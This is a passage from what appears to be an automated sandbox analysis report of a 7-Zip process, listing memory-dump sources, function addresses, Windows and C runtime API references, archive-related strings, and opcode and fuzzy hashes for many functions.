                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CriticalSection$EnterLeavefputs
                                                                                                                                                                                                                                                              • String ID: ERROR:
                                                                                                                                                                                                                                                              • API String ID: 4171338575-977468659
                                                                                                                                                                                                                                                              • Opcode ID: 51b65b70fd9636ec3d92d8d392cf87c406234df2004214009f2d2c7c063ef683
                                                                                                                                                                                                                                                              • Instruction ID: 60c3d24d33b01f3621805f3f5dbb974f7bede638697b8b9c2b455ac363410584
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 51b65b70fd9636ec3d92d8d392cf87c406234df2004214009f2d2c7c063ef683
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9A119D7234198685DB15DF29EC207F82362AB86BA4F4882359F2E4B3A4CF388485C324
                                                                                                                                                                                                                                                              Function 006FBB9C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FBC6C
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006FBC78
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: memset.MSVCRT ref: 006FB20D
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: fputs.MSVCRT ref: 006FB232
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$freememset
                                                                                                                                                                                                                                                              • String ID: Archive size: $Files read from disk
                                                                                                                                                                                                                                                              • API String ID: 2276422817-3736835528
                                                                                                                                                                                                                                                              • Opcode ID: 967efb6c8fd20dc29b92a159685723dba0981b3595675872516f3ccef425e8c4
                                                                                                                                                                                                                                                              • Instruction ID: ea4ba86b3ed02ff356ac82e726705634f0d1eda243fc58d9ba5507ca6af52b03
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 967efb6c8fd20dc29b92a159685723dba0981b3595675872516f3ccef425e8c4
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9D1193A330494190CF60EB24D8A13DD6332EBC87E8F845726E65E476B9DF28C6CAC704
                                                                                                                                                                                                                                                              Function 006B2974 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID: a$z
                                                                                                                                                                                                                                                              • API String ID: 0-4151050625
                                                                                                                                                                                                                                                              • Opcode ID: 79b007a773469842fcff8db7cb0bfa3ab41b08846dae76e5ae68771568f84890
                                                                                                                                                                                                                                                              • Instruction ID: 47e5639db961e0fc9d274c1649da83ec2f41eaac719d5acbec2592b06b0b8f6c
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 79b007a773469842fcff8db7cb0bfa3ab41b08846dae76e5ae68771568f84890
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C1018CD6F5105BC5EB247B13A8783F8A2D3AB16F91F8D41339E8D07310E11A4AD6E306
                                                                                                                                                                                                                                                              Function 006BAD0C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34libraryloaderCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                                              • String ID: RtlGetVersion$ntdll.dll
                                                                                                                                                                                                                                                              • API String ID: 1646373207-1489217083
                                                                                                                                                                                                                                                              • Opcode ID: 4b5a8e6a765e93aad0567a887158774fb9c1889fb27dd6c52aa472cf121c010a
                                                                                                                                                                                                                                                              • Instruction ID: e13f9eb60e623e92c87eff444da4e6cb0053977aa5ae3f0ac72b476c8f0e27ae
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4b5a8e6a765e93aad0567a887158774fb9c1889fb27dd6c52aa472cf121c010a
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 26F04FB661560986DB30DFA0F4943F963A2AF88356F440435E64A42B60DB39DAD9CB05
                                                                                                                                                                                                                                                              Function 006FBAAC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FBACF
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FBAFC
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B237E
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: fputs.MSVCRT ref: 006B23B8
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B23C4
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$free
                                                                                                                                                                                                                                                              • String ID: Open archive: $StdOut
                                                                                                                                                                                                                                                              • API String ID: 3873070119-2401103298
                                                                                                                                                                                                                                                              • Opcode ID: 5c408db9bf12223247ae41b3a4b257e588f5b2f357ad56df3248e673553bd93f
                                                                                                                                                                                                                                                              • Instruction ID: 5dc19be6533acdb61e33bccacb7608ae5da5f0907e27895c3f8c8f89f2d9c834
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5c408db9bf12223247ae41b3a4b257e588f5b2f357ad56df3248e673553bd93f
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8EF03AE670088581CE459F26DA953AD1363EB44FD4F48E432CE0E4B318DE29C499C300
                                                                                                                                                                                                                                                              Function 006F2344 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$fputc
                                                                                                                                                                                                                                                              • String ID: $:
                                                                                                                                                                                                                                                              • API String ID: 1185151155-4041779174
                                                                                                                                                                                                                                                              • Opcode ID: 0876c551c5b7590e0ff57701a7544b73fa63f79d82255e9a5707c5629e0c0e90
                                                                                                                                                                                                                                                              • Instruction ID: ad31e969135cf2ab1e58c431915945c1b4b12841efa8956f2dfbbcc4d0a5cfa4
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0876c551c5b7590e0ff57701a7544b73fa63f79d82255e9a5707c5629e0c0e90
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: ABE065D730468185CB219B25E86435D6362FB99FCCF488131DE8D07719DE2CC148C711
                                                                                                                                                                                                                                                              Function 006FD4C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                                              • String ID: GetLargePageMinimum$kernel32.dll
                                                                                                                                                                                                                                                              • API String ID: 1646373207-2515562745
                                                                                                                                                                                                                                                              • Opcode ID: 9cafdcdec884bdbcba65c699ecbd7ef866ca1a9750535094873ebbbe4fc89029
                                                                                                                                                                                                                                                              • Instruction ID: 8d846d8359e9a0bf774db4280fa64df3b8e901b4808e40fad43e7ba50ef19fb5
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9cafdcdec884bdbcba65c699ecbd7ef866ca1a9750535094873ebbbe4fc89029
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 72E04F24B56B02D1EE09DF94FC953B42362AF85744F840439850E42360EF3DE659C350
                                                                                                                                                                                                                                                              Function 006E71BC Relevance: 6.5, APIs: 5, Instructions: 203COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ErrorLast
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 408039514-0
                                                                                                                                                                                                                                                              • Opcode ID: d7c40869ad587d79d1a4cde6791f56a7827730960875fe2f1716f54cae6806b2
                                                                                                                                                                                                                                                              • Instruction ID: aa039d08d9e78f62fc1ffcf046069cbe49d502ed967d3a852c5bce25ca4ed204
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d7c40869ad587d79d1a4cde6791f56a7827730960875fe2f1716f54cae6806b2
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 98817C72316B8086CB64DF26E45079D77A2F788BA4F544225EF9D43BA8EF38C991C700
                                                                                                                                                                                                                                                              Function 006C4210 Relevance: 6.4, APIs: 5, Instructions: 126COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: 735d4e83ff881ba3abcc4a6c9aa5d61f64a5c4c51b6bddb4a0ec876fb6e64911
                                                                                                                                                                                                                                                              • Instruction ID: e60d13d473decf2bcadf49af6d963cf570d4155548ce34f0138327252887fd25
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 735d4e83ff881ba3abcc4a6c9aa5d61f64a5c4c51b6bddb4a0ec876fb6e64911
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F741F5623156C096CB20DE26D521BFD67A2FB85BE4F084219EF9D07B59DF28C586C700
                                                                                                                                                                                                                                                              Function 006E4C2C Relevance: 6.4, APIs: 5, Instructions: 114COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1534225298-0
                                                                                                                                                                                                                                                              • Opcode ID: 2d6c9dfe1155a16f3a068d7370a8ec758800c3918b65cbcdfef43df97f9f1dc5
                                                                                                                                                                                                                                                              • Instruction ID: 337a4ac8ebebcbb2e8d52b8979b1a6d0d347af507a93207000f8c20f7a5eea14
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2d6c9dfe1155a16f3a068d7370a8ec758800c3918b65cbcdfef43df97f9f1dc5
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: AA41F9272097C085C720DA26E44019FAFA2F7C6798F180219FB9607B99CB7EC099CB11
                                                                                                                                                                                                                                                              Function 006EF4AC Relevance: 6.3, APIs: 5, Instructions: 91COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ErrorLastmemmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3561842085-0
                                                                                                                                                                                                                                                              • Opcode ID: 835e30b8a2ce9afd242e3c27a4bd6d2521a716217a04de116505d45ba31023b0
                                                                                                                                                                                                                                                              • Instruction ID: 11c87c822cbf31e63601dccab6a3f329fcb8f2a45f522b5bdbb662a54bcc8602
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 835e30b8a2ce9afd242e3c27a4bd6d2521a716217a04de116505d45ba31023b0
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: FE31D5B2215B8182CB60DF24E45029E7372FB95BA4F445235F75E437A8EF38C585C704
                                                                                                                                                                                                                                                              Function 006BEF70 Relevance: 6.3, APIs: 5, Instructions: 91COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1534225298-0
                                                                                                                                                                                                                                                              • Opcode ID: 9a39179057fc4b698db1469c34720306d33abb4d3d1416dbc86e8f68b6a95521
                                                                                                                                                                                                                                                              • Instruction ID: 7ae980ab44e31e795e0dac46a2e62ce3a3b56224d3b12df202dd3c773e232f87
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9a39179057fc4b698db1469c34720306d33abb4d3d1416dbc86e8f68b6a95521
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: DF21E5B230179596CB10EF5AE9601E97366F744BE4B088239EF2D077A1DF34D8A2C300
                                                                                                                                                                                                                                                              Function 006BC790 Relevance: 6.3, APIs: 5, Instructions: 62COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: memcmp
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1475443563-0
                                                                                                                                                                                                                                                              • Opcode ID: 712599938bbeffd81504be00bb0ea2eb8721062aa4075a36f0ea6c542d0c478b
                                                                                                                                                                                                                                                              • Instruction ID: 251ba14cadf384980d1a4d08382ba4922477151d69ccfee070501c0f492287ae
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 712599938bbeffd81504be00bb0ea2eb8721062aa4075a36f0ea6c542d0c478b
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C511A3E270874595EB04DB2798613F82B179B49FE4F849025DF094B315EF78DAA6C308
                                                                                                                                                                                                                                                              Function 006B3BE4 Relevance: 6.3, APIs: 5, Instructions: 61COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 006B3C2A
                                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 006B3C36
                                                                                                                                                                                                                                                              • _CxxThrowException.MSVCRT ref: 006B3C54
                                                                                                                                                                                                                                                              • MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF), ref: 006B3C80
                                                                                                                                                                                                                                                              • _CxxThrowException.MSVCRT ref: 006B3C9E
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ByteCharExceptionMultiThrowWide$ErrorLast
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2296236218-0
                                                                                                                                                                                                                                                              • Opcode ID: 970d5cdc5d485172c45e5e67665dade64923c0f4ace1f899d0aee1bf120422e8
                                                                                                                                                                                                                                                              • Instruction ID: 014cad1fc5df11a29ca418911ce6e1260e1cacde5dbc4bde35ef7f9d474c30b8
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 970d5cdc5d485172c45e5e67665dade64923c0f4ace1f899d0aee1bf120422e8
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 7121D2B2704B4986DB10DF56E8503ADBBA2FB88F98F448129DB4C47724EF38C989C700
                                                                                                                                                                                                                                                              Function 006B182C Relevance: 6.3, APIs: 5, Instructions: 49COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: bfe4f0f55ee913568f211c4fbf308b9aee0fbd2fe155706c5642a99402e277d4
